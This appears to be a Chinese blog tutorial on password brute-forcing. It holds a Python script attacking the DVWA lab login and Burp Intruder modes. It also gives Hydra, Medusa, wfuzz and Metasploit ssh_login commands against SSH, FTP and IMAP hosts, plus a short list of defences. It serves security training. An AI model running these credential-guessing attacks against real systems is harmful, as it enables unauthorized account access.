密码的暴力破解

密码的暴力破解

密码的利用

1、加密

2、完整性

3、身份认证(口令)

密码安全

1、存储安全

2、传输安全

3、输入安全(登录界面)

常用弱口令统计网站:

https://nordpass.com/most-common-passwords-list/ (有国家分类)

检测个人密码有没有泄露的网站:

https://haveibeenpwned.com

密码猜解的思路

先猜解密码长度范围 (注册界面存在密码限制)

密码内容 (字典,暴力破解)

缩小范围:0-9 a-z A-Z !@#$%^&*

字典

通用字典

Kali自带

kali中字典在/usr/share/wordlists/中

网络下载

https://github.com/xjrelc/Blasting_dictionary
https://github.com/TgeaUs/Weak-password
https://github.com/fuzz-security/SuperWordlist
https://github.com/k8gege/PasswordDic
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/Ifonly-go2019/FuzzDict
https://github.com/ppbibo/PentesterSpecialDict
https://github.com/huyuanzhi2/password_brute_dictionary

https://weakpass.com/download

其他的建议在github搜索:字典、dict、wordlist之类的关键词

专用字典

1、指定格式字典

比如生日、手机号、QQ号

kali内自带的字典生成工具crunch,使用方法:

crunch <min> <max>  //最小长度-最大长度
crunch -h

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TBvlNtoj-1690510226502)(C:\Users\xgren\AppData\Roaming\Typora\typora-user-images\image-20230726213213534.png)]

2、社工字典

kali自带cupp工具

可以通过输入个人信息来自动生成社工字典

中文生成社工字典工具:ccupp

在线网站:https://bugku.com/mima/

3、文章内容字典

kali内使用 cewl https://sqlmap.org -w dict.txt 命令来检索目标网站内容并切割单词生成字典

python实现暴力破解

httpconn:

# -*- coding: utf-8 -*-
# python 3

import requests
# 如果第一个密码就提示成功,是 PHPSESSID 没有替换的问题
pwds = open("password.txt")
for pwd in pwds:
    url = "http://localhost/dvwa/vulnerabilities/brute/"
    # PHPSESSID务必替换为登录以后的PHPSESSID
    resp = requests.get(url = url, params = {"username":"admin", "password":pwd.strip(), "Login":"Login"}, headers = {"Cookie":"security=low; PHPSESSID=himu84h1ia6vsvklt76c9juhqd"})
    #print(resp.text)
    if 'Username and/or password incorrect.' in resp.text:
        print('破解失败:'+pwd, end='')
    else:
        print('破解成功:'+pwd, end='')
        break;
pwds.close()

readpass:

# -*- coding: utf-8 -*-
# python 3

pwds = open("password.txt")
for pwd in pwds:
    print(pwd)

pwds.close()

需在python3环境中运行

打的是DVWA靶场,固定了用户名猜解密码,先运行readpass读取密码,再运行httpconn进行猜解。

burpsuite暴力破解

  • 先抓包,
  • 使用intruder模块
  • 把抓的包发给intruder模块,然后标记爆破名,选择模式,然后进行攻击字段的设置
  • 最后可以使用多个类型进行攻击,然后可以载入字典等,接着可以对字典进行处理,可以进行加密等处理(payload processing)
  • 然后可以设置线程(resource pool),默认是10个线程
  • 最后可以开始攻击
  • 最后看响应长度判断

附:

第二个模式:Battering ram模式,标记的所有的爆破名使用同一密码等进行攻击

第三个模式:pitchfork模式,按不同字段可以使用不同的字典,但是顺序固定,有token的时候使用,可以在token字段标记,然后使用recursive grep规则,然后使用options里面的grep extract里面设置add添加规则选定token值添加规则,告诉bp这个就是我的token值所在位置

第四个模式:Cluster bomb模式,按不同字段使用不同字典,字典的按不同组合的形式攻击爆破

密码猜解的防御手段

  • sleep
  • Token
  • 限制尝试次数,锁定账户
  • 二次验证
  • reCAPTCHA(IP验证)
  • 行为识别
  • WAF
  • 强制修改密码
  • 取消密码登录

其他暴力破解工具

wfuzz工具:kali自带

用途:

  • 1、猜参数
  • 2、暴破密码
  • 3、找出网站过滤的参数,比如SQL注入和XSS
  • 4、目录扫描
  • 5、压力测试
wfuzz -z file,user -z file,pass -d 
"username=FUZZ&password=FUZ2Z&submit=login"
http://192.168.142.1/pikachu/vul/burteforce/bf_form.php
//第一个z是用户名,然后字典在user的文件里,第二个是密码,放在pass文件里,-d指定方式,第一个参数用FUZZ占位,第二个参数用FUZ2Z占位,然后指定url

Hydra(九头蛇):kali自带

https://github.com/vanhauser-thc/thc-hydra

支持:

Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird,FTP,HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP- POST, HTTP-PROXY,HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET,HTTPS-HEAD, HTTPS-POST,HTTP-Proxy, ICQ, IMAP, IRC, LDAP,MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, OracleListener,Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3,POSTGRES,Radmin, RDP, Rexec, Rlogin,Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTPEnum, SNMP v1+v2+v3, SOCKS5,SSH (v1 and v2), SSHKEY, Subversion,Teamspeak (TS2), Telnet, VMware-Auth,VNC and XMPP

参数解释
-R恢复上次中断的会话
-I忽略之前的会话文件
-SSSL连接
-s指定端口
-l用户名字典
-L用户名字典来源为文件
-p密码字典
-P密码字典来源为文件
-x密码生成
-y禁用字符
参数解释
-rrainy mode
-e循环测试用户名而不是密码
-C用户名和密码存储为一个文件时使用此参数。注意,文件格式必须为 “用户名:密码” 格式。
-M批量暴破
-o输出文件的名称
-b输出格式
-f爆破成功一个后停止爆破
-t指定爆破时的任务数量(可以理解为线程数),默认为 16
参数解释
-T总并发数
-w每个线程的连接之间的响应等待时间
-c所有线程单次登录等待时间
-4/-6使用IPv4 / IPv6地址
-v显示爆破的详细信息
-O使用旧的SSL v2或v3版本
-q不打印有关连接错误的消息
-U服务模块使用详细信息
hydra -L user -P pass 192.168.25.132 ssh  //指定用户名文件,指定密码文件,指定主机,指定协议
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

Medusa(美杜莎):kali自带

http://foofus.net/goons/jmk/medusa/medusa.html

支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP(NetWare),NNTP, PcAnywhere, POP3, PostgreSQL, rexec,rlogin, rsh, SMB, SMTP(AUTH/VRFY), SNMP, SSHv2, SVN,Telnet, VmAuthd, VNC

参数解释
-h主机名或者IP名
-H主机名或者IP名(文件)
-u用户名
-U用户名(文件)
-p密码
-P密码(文件)
-C指定测试格式为"user:password"的字典
-O将输出结果保存在指定文件
-e额外的密码检测(n:空密码 s:用户名=密码)
-M指定执行的模块(不带.mod扩展名)
-m指定传递给模块的参数
-d查看支持破解的模块
-n指定非默认的TCP端口
-s启动SSL
-g设置连接超时时间(默认值3)
-r设置重试的次数(默认值3)
-R重试次数
-c验证socket连接是否可用的等待时间
-t设置同时测试的登录总数
-T设置同时测试的主机总数
-L一个线程使用一个用户名
-f在破解得到第一个用户名或密码后停止扫描主机
-F当在任何主机上破解得到第一个用户名或密码后停止扫描
-b不显示软件启动时的版本信息
-q显示模块的使用信息
-v详细等级(0-6)
-w错误调试等级(0-10)
-V显示版本信息
-Z恢复中止的扫描

msf辅助模块

msfconsole       //启动msf模块

use auxiliary/scanner/ssh/ssh_login       //选择模式

set RHOSTS 192.168.142.66             //目标主机

set PASS_FILE /root/vuln/pass        //写入密码

set USER_FILE /root/vuln/user        //写入用户名

exploit

msf实在太强大了

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值